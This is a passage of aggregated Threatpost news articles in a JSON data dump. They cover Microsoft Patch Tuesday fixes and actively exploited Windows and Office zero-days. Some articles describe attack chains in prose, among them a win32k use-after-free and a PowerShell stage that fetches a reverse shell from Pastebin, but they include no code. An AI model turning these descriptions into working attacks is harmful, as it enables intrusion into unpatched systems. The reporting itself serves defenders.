incompatible with [third-party antivirus software](<https://threatpost.com/anti-virus-updates-required-ahead-of-microsofts-meltdown-spectre-patches/129371/>).\n\n\u201cCustomers will not receive the January 2018 security updates (or any subsequent security updates) and will not be protected from security vulnerabilities unless their antivirus software vendor sets the following registry key,\u201d Microsoft said in [a Jan. 3 security bulletin](<https://support.microsoft.com/en-us/help/4072699/january-3-2018-windows-security-updates-and-antivirus-software>).\n\nGraham also cautions that OS-level and BIOS (microcode) patches that are designed to mitigate Meltdown and Spectre may lead to CPU performance issues.\n\nListed as under active attack is ([**CVE-2018-0802**](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-0802>)) a Microsoft Office memory corruption vulnerability that allows remote code execution in Office when the software fails to properly handle objects in memory, according Microsoft. Targets convinced to open a specially crafted Office document could allow an adversary to take control of the affected system.\n\nMicrosoft also patched a vulnerability (CVE-2018-0786) in .NET Framework (and .NET Core) that prevents the components from completely validating a certificate. \u201cAn attacker could present a certificate that is marked invalid for a specific use, but the component uses it for that purpose. This action disregards the Enhanced Key Usage taggings,\u201d [describes Microsoft](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-0786>).\n\n\u201cThis is definitely the sort of bug malware authors seek, as it could allow their invalid certificates to appear valid,\u201d according Zero Day Initiative\u2019s Patch Tuesday analysis.\n\nOne of the CVEs ([CVE-2018-0819](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-0819>)) tackled by Microsoft this month is a spoofing vulnerability in Microsoft Office for MAC, listed as publicly known at the time of release. The flaw does not allow some versions Microsoft Office or Mac to handle the encoding and display of email addresses properly. \u201cThis improper handling and display may cause antivirus or antispam scanning to not work as intended,\u201d Microsoft describes.\n\nOn Monday, [Apple released](<https://threatpost.com/apple-releases-spectre-patches-for-safari-macos-and-ios/129365/>) iOS 11.2.2 software for iPhones, iPads and iPod touch models that patch for the Spectre vulnerabilities. A macOS High Sierra 10.13.2 supplemental update was also released to bolster Spectre defenses in Apple\u2019s Safari browser and WebKit, the web browser engine used by Safari, Mail, and App Store.\n", "cvss3": {}, "published": "2018-01-09T16:25:06", "type": "threatpost", "title": "Microsoft January Patch Tuesday Update Fixes 16 Critical Bugs", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-0786", "CVE-2018-0802", "CVE-2018-0819", "CVE-2019-0797"], "modified": "2018-01-09T16:25:06", "id": "THREATPOST:63188D8C89FE469962D4F460E46755BC", "href": "https://threatpost.com/microsoft-january-patch-tuesday-update-fixes-16-critical-bugs/129378/", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2019-05-30T05:50:47", "description": "Microsoft has issued a patch for a zero-day bug being actively exploited in the wild, as part of its Patch Tuesday security bulletin. The vulnerability is an elevation-of-privilege flaw, rated important, affecting the Windows Win32k component.\n\nThe zero-day ([CVE-2018-8453](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8453>)), found by Kaspersky Lab, could allow an adversary to run arbitrary code in kernel mode on targeted systems. \u201cAn attacker could then install programs; view, change or delete data; or create new accounts with full user rights,\u201d Microsoft wrote in its patch update. Windows 7, 8.1, 10, and Server 2008, 2012, 2016, and 2019 are affected.\n\nMiddle East-based[ APT FruityArmor,](<https://threatpost.com/fruityarmor-apt-group-used-recently-patched-windows-zero-day/121398/>) which has a history of targeting Windows zero-day, is believed to be actively exploiting the flaw, according to Kaspersky Lab. In 2016, [Kaspersky Lab researchers](<https://threatpost.com/fruityarmor-apt-group-used-recently-patched-windows-zero-day/121398/>) reported that the group carried out a number of targeted attacks exploiting zero-days to escape browser-based sandboxes and execute malicious code in the wild. In that case, the adversaries targeted CVE-2016-3393, tied to Windows graphics device interface.\n\nThe zero-day patch was one of 49 fixes issued Tuesday; 12 were listed as critical.\n\nMicrosoft also patched an eight-year-old remote code-execution vulnerability, first identified in 2010 and rated critical. The bug ([CVE-2010-3190](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2010-3190>)) is tied to a nagging issue with Microsoft Foundation Class Library, a resource used by developers to manage how DLL files are loaded and handled by an application. The bug has been patched multiple times over the years: in 2010, 2011 and 2016 with the most recent update available Tuesday. Microsoft said the problem is once again an issue as it relates to installations of Exchange Server 2016.\n\n\u201cAn attacker who successfully exploited this vulnerability could take complete control of an affected system. An attacker could then install programs; view, change or delete data; or create new accounts with full user rights,\u201d Microsoft wrote.\n\nThe software giant added, \u201cExchange Server was not identified as an in-scope product when CVE-2010-3190 was originally published\u2026The update addresses this vulnerability by correcting how applications built using MFC load DLL files.\u201d\n\nOther Microsoft patches addressed vulnerabilities in the Edge and Internet Explorer browsers; and applications such as SharePoint Enterprise server and SQL Server Management software.\n\n\u201cOne of the most important vulnerabilities fixed in today\u2019s Patch Tuesday release is the Microsoft JET Database Engine zero-day ([CVE-2018-8423](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8423>)), which [was disclosed last month](<https://threatpost.com/unpatched-microsoft-zero-day-in-jet-allows-remote-code-execution/137597/>),\u201d wrote Glen Pendley, deputy CTO at Tenable, in an analysis. \u201cThe vulnerability was published along with a sample exploit code, leaving organizations everywhere exposed for the last several weeks. As such, organizations are urged to update their systems immediately.\u201d\n\nOf the 49 CVEs listed by Microsoft this month, the majority, 33, were fixed in Windows 10, Edge and the associated Server versions, pointed out Chris Goettl, director of security product management for Ivanti. \u201cAlso, please note that there was an update for Server 2019 which was made generally available last week. Microsoft continued the trend from last month where they introduced both a monthly roll-up and a security-only release for Server 2008,\u201d he said.\n\nMicrosoft\u2019s ubiquitous Office Suite bundle also received a number of updates including those for Excel, Outlook, PowerPoint and Word. With those updates came important version tweaks, according to Goettl: \u201cOffice for Mac version 16.17 [from last patch Tuesday](<https://threatpost.com/microsoft-patches-three-actively-exploited-bugs-as-part-of-patch-tuesday/137372/>), and all future 16.17+ releases are now officially \u2018Office 2019\u2019,\u201d he said. Office 2016 will continue to receive updates \u2018as needed\u2019 until October 2020.\u201d\n", "cvss3": {}, "published": "2018-10-09T21:24:54", "type": "threatpost", "title": "Microsoft Patches Zero-Day Under Active Attack by APT", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2010-3190", "CVE-2016-3393", "CVE-2018-8423", "CVE-2018-8453", "CVE-2019-0797"], "modified": "2018-10-09T21:24:54", "id": "THREATPOST:6494F574043B1EE5082C988D28B55E4C", "href": "https://threatpost.com/microsoft-patches-zero-day-under-active-attack-by-apt/138164/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-03-14T11:53:08", "description": "A just-patched vulnerability in the Windows operating system that was previously unknown up until last week is being actively exploited in the wild; it opens the door for full system takeover.\n\nDiscovered by Vasily Berdnikov and Boris Larin of Kaspersky Lab on St. Patrick\u2019s Day this year, the flaw (CVE-2019-0859) is a use-after-free issue in the Windows kernel that allows local privilege escalation (LPE). It\u2019s being used in advanced persistent threat (APT) campaigns, the researchers said, targeting 64-bit versions of Windows (from Windows 7 to older builds of Windows 10).\n\nThe attackers are using the bug to establish persistent backdoors to targeted machines, gaining the ability to run arbitrary code in kernel mode. An attacker could then install programs; view, change or delete data; or create new accounts with full user rights.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nFortunately, [there\u2019s a patch](<https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2019-0859>), which Microsoft pushed out in the most recent Patch Tuesday last week, so users should update their systems as soon as possible.\n\n## Improper Handling of Objects in Memory\n\nIn the win32k.sys kernel, the Function ID field is used to define the class of a window, such as \u201cScrollBar,\u201d \u201cMenu,\u201d \u201cDesktop\u201d and others. The bug allows an attacker to manipulate the process of creating a window by sending specially crafted data sets to the Function ID field.\n\n\u201cDuring execution, CreateWindowEx sends the message WM_NCCREATE to the window when it\u2019s first created,\u201d the researchers said in [an analysis](<https://securelist.com/new-win32k-zero-day-cve-2019-0859/90435/>) on Monday. \u201cBy using the SetWindowsHookEx function, it is possible to set a custom callback that can handle the WM_NCCREATE message right before calling the window procedure.\u201d\n\nDuring that WM_NCCREATE callback, the Function ID is set to 0, which allows an adversary to set extra data for the window. \u201cMore importantly, we were able to change the address for the window procedure that was executed immediately after our hook,\u201d researchers said. \u201cThe change of window procedure to the menu window procedure leads to the execution of xxxMenuWindowProc and the function initiates Function ID to FNID_MENU because the current message is equal to WM_NCCREATE. But the most important part is that the ability to manipulate extra data prior to setting Function ID to FNID_MENU can force the xxxMenuWindowProc function to stop initialization of the menu and return FALSE.\u201d\n\nBecause of that, sending of the NCCREATE message will be considered a failed operation, so the MENU-class window is not actually initialized, which allows an attacker to gain control over the address of freed-up memory block.\n\n## Exploitation\n\nAn attacker (who would need to already be logged into the system) can run a specially crafted application to exploit the vulnerability.\n\nIn the observed attacks, a malicious executable makes use of the legitimate PowerShell framework with a Base64-encoded command, which then fetches a second-stage PowerShell script from a Pastebin site. That in turn executes a third and final stage, also a PowerShell script, which unpacks lightweight shellcode.\n\n\u201cThe main goal of the shellcode is to make a trivial HTTP reverse shell,\u201d the researchers explained. \u201cThis helps the attacker gain full control over the victim\u2019s system.\u201d\n\nThe use of PowerShell, which is built into Windows, along with simple encoding techniques, helps [obfuscate malicious activity](<https://threatpost.com/powershell-obfuscation-ups-the-ante-on-antivirus/137403/>) and keep anti-virus detections at bay.\n\nThreatpost has reached out to Kaspersky Lab for additional details on the victimology of the campaigns.\n\n\u201cAt this time we don\u2019t have any information at that time regarding the target,\u201d the firm told Threatpost. \u201cWe have not seen activity of this group before and our researchers are currently investigating this attack to restore full kill chain. As soon as we will find the initial vector of attack we will share this information.\u201d\n\nThis is the fifth consecutive exploited LPE zero-day vulnerability discovered in Windows recently. The others are [CVE-2018-8453](<https://threatpost.com/fruityarmor-apt-exploits-yet-another-windows-graphics-kernel-flaw/138192/>), [CVE-2018-8589](<https://threatpost.com/microsoft-patches-zero-day-bug-in-win7-server-2008-and-2008-r2/139073/>), [CVE-2018-8611](<https://threatpost.com/zero-day-microsoft-december-patch-tuesday/139826/>) (a zero-day in the Windows Kernel Transaction Manager) and the [CVE-2019-0797](<https://threatpost.com/microsoft-patches-two-win32k-bugs-under-active-attack/142742/>) \u201cfourth horseman\u201d vulnerability. The latter was seen [being exploited in the wild](<https://threatpost.com/sandcat-fruityarmor-exploiting-microsoft-win32k/142751/>) by at least two threat actors, including a recently discovered APT group dubbed SandCat, and the FruityArmor group.\n\n**_Don\u2019t miss our free _**[**_Threatpost webinar_**](<https://attendee.gotowebinar.com/register/8845482382938181378?source=ART>)**_, \u201cData Security in the Cloud,\u201d on April 24 at 2 p.m. ET._**\n\n**_A panel of experts will join Threatpost senior editor Tara Seals to discuss _****_how to lock down data when the traditional network perimeter is no longer in place. They will discuss how the adoption of cloud services presents new security challenges, including ideas and best practices for locking down this new architecture; whether managed or in-house security is the way to go; and ancillary dimensions, like SD-WAN and IaaS._**\n", "cvss3": {}, "published": "2019-04-16T16:13:33", "type": "threatpost", "title": "Windows Zero-Day Emerges in Active Exploits", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-8453", "CVE-2018-8589", "CVE-2018-8611", "CVE-2019-0797", "CVE-2019-0859"], "modified": "2019-04-16T16:13:33", "id": "THREATPOST:2449B7C3317E847CB7244592BA73C2B8", "href": "https://threatpost.com/windows-zero-day-active-exploits/143820/", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-03-14T05:46:44", "description": "Microsoft issued 50 security fixes as part of its February Patch Tuesday release, covering vulnerabilities in Windows, Office, Internet Explorer, Edge and its JavaScript engine ChakraCore. Fourteen of the vulnerabilities are labeled as critical, 34 as important and two as moderate.\n\nTwo notable vulnerabilities target Outlook. [CVE-2018-0852](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-0852>), rated critical, is a remote code execution vulnerability that could give an attacker control of a targeted system if they are logged into their Windows PC with administrator user rights, Microsoft said.\n\n\u201cExploitation of the vulnerability requires that a user open a specially crafted file with an affected version of Microsoft Outlook software,\u201d wrote Microsoft in its security bulletin. A successful attack allows an adversary to run arbitrary code in the context of the current user.\n\n\u201cWhat\u2019s truly frightening with this bug is that the (Outlook) Preview Pane is an attack vector, which means simply viewing an email in the Preview Pane could allow code execution,\u201d ZDI researchers s[aid in a blog post](<https://www.thezdi.com/blog/2018/2/13/the-february-2018-security-update-review>). \u201cThe end user targeted by such an attack doesn\u2019t need to open or click on anything in the email \u2013 just view it in the Preview Pane. If this bug turns into active exploits \u2013 and with this attack vector, exploit writers will certainly try \u2013 unpatched systems will definitely suffer.\u201d\n\nZDI is also urging users to immediately patch the second Outlook vulnerability, [CVE-2018-0825](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-0825>). This bug is exploited via a maliciously crafted email that forces Outlook to load a pre-configured message once it is received. \u201cYou read that right \u2013 not viewing, not previewing, but upon receipt,\u201d ZDI notes. \u201cThat means there\u2019s a potential for an attacker to exploit this merely by sending an email.\u201d\n\nOther critical vulnerabilities patched this month include, [CVE-2018-0771](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-0771>), which affects StructuredQuery in Windows servers and workstations. An attack would use a specially crafted file delivered via email or through a malicious website.\n\nAccording to Microsoft, attackers could take over systems if the victim is logged with administrative credentials, giving them the ability to install programs, manipulate data and create new user accounts. \u201cThis patch should be at the top of the priority list,\u201d said Jimmy Graham, director of product management at Qualys, [in a blog post](<https://blog.qualys.com/laws-of-vulnerabilities/2018/02/13/february-patch-tuesday-55-microsoft-vulnerabilities-patched-45-for-adobe>).\n\nMicrosoft\u2019s Patch Tuesday update also delivers patches for more than 10 kernel vulnerabilities associated with local escalation of privilege and information disclosure bugs.\n\nA number of them have been given exploitability index of 1, which means they are \u201cmore likely\u201d to be exploited, according to [Microsoft\u2019s ranking system](<https://technet.microsoft.com/en-us/security/cc998259.aspx>).\n\n\u201cWhile these vulnerabilities cannot be exploited remotely, they could be used by a threat actor to gain elevated privileges on a system they have compromised through some other means,\u201d said Chris Goettl, director of product management at Ivanti, in a commentary provided to Threatpost.\u201dThese would often be used in an APT (advanced persistent threat) situation where the attacker is slowly working their way through an environment and need to gain additional permissions to gain access to move further toward their goal.\u201d\n\nSix additional patches focus on vulnerabilities in Office. [CVE-2018-0841](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-0841>) is a vulnerability in Excel that allows remote code execution by taking advantage of how Excel handles object in memory, according to Microsoft\u2019s description. As with other vulnerabilities addressed in this month\u2019s release, a successful attacker would gain full control over the system if the user is logged in as an administrator.\n\n\u201cThis is a good example of why privilege management is so important,\u201d Goettl said. \u201cIt is hard to take admin rights back from a user once granted, but there are other methods to take away specific capabilities to take some of the risk out of that full administrator user as well. It is recommended to look into options like this.\u201d\n", "cvss3": {}, "published": "2018-02-13T17:01:19", "type": "threatpost", "title": "Two Nasty Outlook Bugs Fixed in Microsoft\u2019s Feb. Patch Tuesday Update", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-0771", "CVE-2018-0825", "CVE-2018-0841", "CVE-2018-0852", "CVE-2019-0797"], "modified": "2018-02-13T17:01:19", "id": "THREATPOST:872ADCA7D6780794C132A451E86B4086", "href": "https://threatpost.com/two-nasty-outlook-bugs-fixed-in-microsofts-feb-patch-tuesday-update/129931/", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2021-04-15T09:53:55", "description": "Microsoft had its hands full Tuesday snuffing out five zero-day vulnerabilities, a flaw under active attack and applying more patches to its [problem-plagued Microsoft Exchange Server software](<https://threatpost.com/microsoft-exchange-outlook-apts/160273/>).\n\nIn all, Microsoft released patches for 110 security holes, 19 classified critical in severity and 88 considered important. The most dire of those flaws disclosed is arguably a Win32k elevation of privilege vulnerability ([CVE-2021-28310](<http://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-28310>)) actively being exploited in the wild by the cybercriminal group BITTER APT.[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\n## **Actively Exploited Zero-Day **\n\n\u201cWe believe this exploit is used in the wild, potentially by several threat actors. It is an escalation of privilege (EoP) exploit that is likely used together with other browser exploits to escape sandboxes or get system privileges for further access,\u201d wrote Kaspersky in [a Tuesday report](<https://securelist.com/zero-day-vulnerability-in-desktop-window-manager-cve-2021-28310-used-in-the-wild/101898/>) detailing its find.\n\nThe bug is an out-of-bounds write vulnerability in Windows dwmcore.dll library, which is part of Desktop Window Manager (dwm.exe). \u201cDue to the lack of bounds checking, attackers are able to create a situation that allows them to write controlled data at a controlled offset using DirectComposition API,\u201d wrote Kaspersky researchers Boris Larin, Costin Raiu and Brian Bartholomew, co-authors of the report.\n\n## **More Bugs Tied to Plagued Exchange**\n\nOf note, the U.S. National Security Agency released information on four critical Exchange Server vulnerabilities ([CVE-2021-28480](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-28480>), [CVE-2021-28481](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-28481>), [CVE-2021-28482](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-28482>), [CVE-2021-28483](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-28483>)) impacting versions released between 2013 and 2019.\n\n\u201cThese vulnerabilities have been rated \u2018exploitation more likely\u2019 using Microsoft\u2019s Exploitability Index. Two of the four vulnerabilities (CVE-2021-28480, CVE-2021-28481) are pre-authentication, meaning an attacker does not need to authenticate to the vulnerable Exchange server to exploit the flaw. With the intense interest in Exchange Server since last month, it is crucial that organizations apply these Exchange Server patches immediately,\u201d wrote Satnam Narang, staff research engineer with Tenable in commentary shared with Threatpost.\n\nMicrosoft notes that two of the four Exchange bugs reported by the NSA were also found internally by its own research team.\n\n## **[![Microsoft 2021 April Patch Tuesday Bugs ](https://media.threatpost.com/wp-content/uploads/sites/103/2020/09/25150114/Bug-Bounty-Code_small-300x198.jpg)](<https://media.threatpost.com/wp-content/uploads/sites/103/2020/09/25150114/Bug-Bounty-Code_small.jpg>)Bugs, Bugs and More Bugs**\n\nMicrosoft also included patches for its Chromium-based Edge web browser, Azure and Azure DevOps Server, Microsoft Office, SharePoint Server, Hyper-V, Team Foundation Server and Visual Studio.\n\n\u201cApril\u2019s Patch Tuesday yields\u2026 [are] the highest monthly total for 2021 (so far) and showing a return to the 100-plus totals we consistently saw in 2020,\u201d wrote Justin Knapp, senior product marketing manager with Automox, in a prepared analysis shared with Threatpost. \u201cThis month\u2019s haul includes 19 critical vulnerabilities and a high-severity zero-day that is actively being exploited in the wild.\u201d\n\nHe added, \u201cWe\u2019re also seeing multiple browser-related vulnerabilities this month that should be addressed immediately. This represents an overall upward trend that\u2019s expected to continue throughout the year and draw greater urgency around patching velocity, to ensure organizations are not taking on unnecessary exposure \u2014 especially given the increased exploitation of known, dated vulnerabilities.\u201d\n\nInterestingly, Knapp pointed out patching best practices were vitally important to companies as they are challenged by a workforce that is still largely remote and forced to socially distance because of the COVID-19 pandemic.\n\n\u201cWith the dramatic shift to remote work in 2020 now becoming a permanent fixture in 2021, it\u2019s also worth noting the significance of employing measures that can immediately push newly released security updates across a more decentralized, diverse set of assets and environments,\u201d he said.\n\n## **Office Remote Code-Execution Bugs**\n\nTroublesome given the ubiquitous nature of the Microsoft Office are four remote code execution (RCE) vulnerabilities patched this month within the productivity suite. Microsoft Word ([CVE-2021-28453](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-28453>)) and Excel ([CVE-2021-28454](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-28454>), [CVE-2021-28451](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-28451>)) are impacted, and a fourth bug ([CVE-2021-28449](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-28449>)) is only listed as effecting Microsoft Office. The updates are rated \u201cimportant\u201d and, according to Microsoft, impact all versions of Office including Office 365.\n\nJay Goodman, manager of product marketing at Automox, noted in his Patch Tuesday commentary that Microsoft\u2019s security holes this month include a number of flaws identified as remote procedure call (RPC) runtime RCE bugs.\n\n\u201cRPC is a protocol used to request a service from a program that is located on another computer or device on the same network,\u201d he explained. \u201cThe vulnerabilities allow for remote code execution on the target system. The vulnerability may be exploited by sending a specially crafted RPC request. Depending on the user privileges, an attacker could install programs, change or delete data, or create additional user accounts with full user rights.\u201d\n\nMicrosoft marks the vulnerability type as \u201cexploitation less likely,\u201d however, it\u2019s highly recommended to quickly patch and remediate any RCE vulnerabilities on systems, Goodman said: \u201cLeaving latent vulnerabilities with RCE exploits can easily lead to a faster-spreading attack.\u201d\n\nMicrosoft\u2019s April Patch Tuesday update was complemented by Adobe\u2019s monthly slew of patches, which addressed [10 security bugs](<https://threatpost.com/adobe-patches-critical-security-holes-bridge-photoshop/165371/>), seven of them critical.\n\n**_Ever wonder what goes on in underground cybercrime forums? Find out on April 21 at 2 p.m. ET during a _****_[FREE Threatpost event](<https://threatpost.com/webinars/underground-markets-a-tour-of-the-dark-economy/?utm_source=ART&utm_medium=ART&utm_campaign=April_webinar>)_****_, \u201cUnderground Markets: A Tour of the Dark Economy.\u201d Experts will take you on a guided tour of the Dark Web, including what\u2019s for sale, how much it costs, how hackers work together and the latest tools available for hackers. _****_[Register here](<https://threatpost.com/webinars/underground-markets-a-tour-of-the-dark-economy/?utm_source=ART&utm_medium=ART&utm_campaign=April_webinar>)_****_ for the Wed., April 21 LIVE event. _**\n", "cvss3": {}, "published": "2021-04-14T12:46:33", "type": "threatpost", "title": "Microsoft Has Busy April Patch Tuesday with Zero-Days, Exchange Fixes", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-28310", "CVE-2021-28449", "CVE-2021-28451", "CVE-2021-28453", "CVE-2021-28454", "CVE-2021-28480", "CVE-2021-28481", "CVE-2021-28482", "CVE-2021-28483"], "modified": "2021-04-14T12:46:33", "id": "THREATPOST:9235CC6F1DCCA01B571B8693E5F7B880", "href": "https://threatpost.com/microsoft-april-patch-tuesday-zero-days/165393/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-02-15T11:44:46", "description": "Microsoft released patches for two Win32k bugs actively under attack, along with fixes for four additional bugs that are publicly known, as part of its March Patch Tuesday security bulletin. The Win32k bugs are both elevation of privilege vulnerabilities, rated important, and tied to the way Windows handles objects in memory.\n\n\u201cAn attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights,\u201d wrote Microsoft in its security bulletin for both Win32k bugs ([CVE-2019-0797](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0797>), [CVE-2019-0808](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0808>)).\n\nOne of the bugs being actively exploited was reported by Kaspersky Lab, while the other was reported by the Google Threat Analysis Group. News broke last week that two vulnerabilities \u2013 CVE-2019-0808 and a separate Google Chrome [CVE-2019-5786](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-5786>) \u2013 were being actively exploited in the wild together. Now all three zero-days have been patched.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nThe four additional bugs, rated important, which are publicly known exploits ([CVE-2019-0683](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0683>), [CVE-2019-0754](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0754>), [CVE-2019-0757](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0757>) and [CVE-2019-0809](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0809>)), ranged from an Active Directory elevation of privilege vulnerability to a Windows denial of service vulnerability.\n\nThe most interesting of the above bugs is CVE-2019-0757 \u2013 a NuGet package manager tampering vulnerability. According to commentary by researchers at the Zero Day Initiative, the patch corrects a bug in the NuGet package manager that allows an attacker to modify a package\u2019s folder structure.\n\n\u201cIf successful, [an adversary] could modify files and folders that are unpackaged on a system,\u201d ZDI wrote. \u201cIf done silently, an attacker could potentially propagate their modified package to many unsuspecting users of the package manager. Fortunately, this requires authentication, which greatly reduces the chances of this occurring. This is one of the four publicly known bugs for this month, so if you\u2019re a NuGet user, definitely get this patch.\u201d\n\n## 17 Critical Bugs, Slayed\n\nIn all, Microsoft reported 64 unique bugs, 17 critical, 45 rated important, one moderate and one rated low in severity.\n\n\u201cThere are three Windows DHCP Client Remote Code Execution vulnerabilities with a 9.8 CVSS score in this month\u2019s release,\u201d wrote Satnam Narang, senior research engineer at Tenable in security brief. \u201cThis is the third straight month that Microsoft patched high severity bugs in either Windows DHCP Client or Windows DHCP Server, signaling increased attention on finding DHCP bugs.\u201d\n\nThose DHCP bugs ([CVE-2019-0697](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0697>), [CVE-2019-0698](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0698>), [CVE-2019-0726](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0726>)) could allow attackers to execute their code in the DHCP client on affected systems.\n\n\u201cThese bugs are particularly impactful since they require no user interaction \u2013 an attacker send a specially crafted response to a client \u2013 and every OS has a DHCP client,\u201d wrote [Dustin Childs in a blog post on the ZDI](<https://www.zerodayinitiative.com/blog/2019/3/12/the-march-2019-security-update-review>). \u201cThere would likely need to be a man-in-the-middle component to properly execute an attack, but a successful exploit would have wide-ranging consequences.\u201d\n\n## Battling Bad Scripting\n\nThis month\u2019s critical and important bug fixes were dominated by code execution flaws impacting Microsoft\u2019s Edge and Internet Explorer browsers. A Chakra scripting engine memory corruption vulnerability ([CVE-2019-0592](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0592>)) patched by Microsoft is typical.\n\nThe flaw (CVE-2019-0592) is tied to the way the Chakra JavaScript scripting engine handles objects in memory in Microsoft Edge. \u201cAn attacker who successfully exploited the vulnerability could gain the same user rights as the current user. If the current user is logged on with administrative user rights, an attacker who successfully exploited the vulnerability could take control of an affected system,\u201d Microsoft wrote. The attack scenario includes a booby-trapped website where specially crafted content triggers the attack chain.\n\nOn Tuesday, Microsoft also include three advisories. Here they are verbatim:\n\n * [ADV190009](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ADV190009>) announces SHA-2 Code Sign support for Windows 7 SP1 and Windows Server 2008 R2. This update will be [required](<https://support.microsoft.com/en-us/help/4472027/2019-sha-2-code-signing-support-requirement-for-windows-and-wsus>) for any new patches released after July 2019. Older versions of WSUS should also be updated to distribute the new SHA-2 signed patches.\n * [ADV190005](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ADV190005>) gives guidance on sharing the same user account across multiple users. Microsoft discourages this behavior and considers it a major security risk.\n * [ADV190005](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ADV190005>) provides mitigations for a potential denial-of-service in http.sys when receiving HTTP/2 requests. The patch allows users to set a limit on how many SETTINGS parameters can be sent in a single request.\n\n**_Don\u2019t miss our free live _****_[Threatpost webinar](<https://attendee.gotowebinar.com/register/6499105876772027139?source=ART>)_****_, \u201cExploring the Top 15 Most Common Vulnerabilities with HackerOne and GitHub,\u201d on Wed., Mar 20, at 2:00 p.m. ET._**\n\n**_Vulnerability experts Michiel Prins, co-founder of webinar sponsor HackerOne, and Greg Ose, GitHub\u2019s application security engineering manager, will join Threatpost editor Tom Spring to discuss what vulnerability types are most common in today\u2019s software, and what kind of impact they would have on organizations if exploited._**\n", "cvss3": {}, "published": "2019-03-12T21:52:31", "type": "threatpost", "title": "Microsoft Patches Two Win32k Bugs Under Active Attack", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-0592", "CVE-2019-0683", "CVE-2019-0697", "CVE-2019-0698", "CVE-2019-0726", "CVE-2019-0754", "CVE-2019-0757", "CVE-2019-0797", "CVE-2019-0808", "CVE-2019-0809", "CVE-2019-5786"], "modified": "2019-03-12T21:52:31", "id": "THREATPOST:0C6C1B17AFD30FEDE0604F98C6C93413", "href": "https://threatpost.com/microsoft-patches-two-win32k-bugs-under-active-attack/142742/", "cvss": {"score": 7.6, "vector": "AV:N/AC:H/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-02-09T22:45:30", "description": "Microsoft has addressed nine critical-severity cybersecurity bugs in February\u2019s Patch Tuesday updates, plus an important-rated vulnerability that is being actively exploited in the wild.\n\nSix of the security holes \u2013 including one of the critical bugs \u2013 were already publicly disclosed.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nOverall, the computing giant has released patches for 56 CVEs covering Microsoft Windows components, the .NET Framework, Azure IoT, Azure Kubernetes Service, Microsoft Edge for Android, Exchange Server, Office and Office Services and Web Apps, Skype for Business and Lync, and Windows Defender.\n\n## **Actively Exploited Security Bug in Windows Kernel**\n\nThe security bug tracked as [CVE-2021-1732](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-1732>)** **is being actively exploited, according to Microsoft\u2019s advisory. It carries a vulnerability-severity rating of 7.8 on the CVSS scale, making it important in severity \u2013 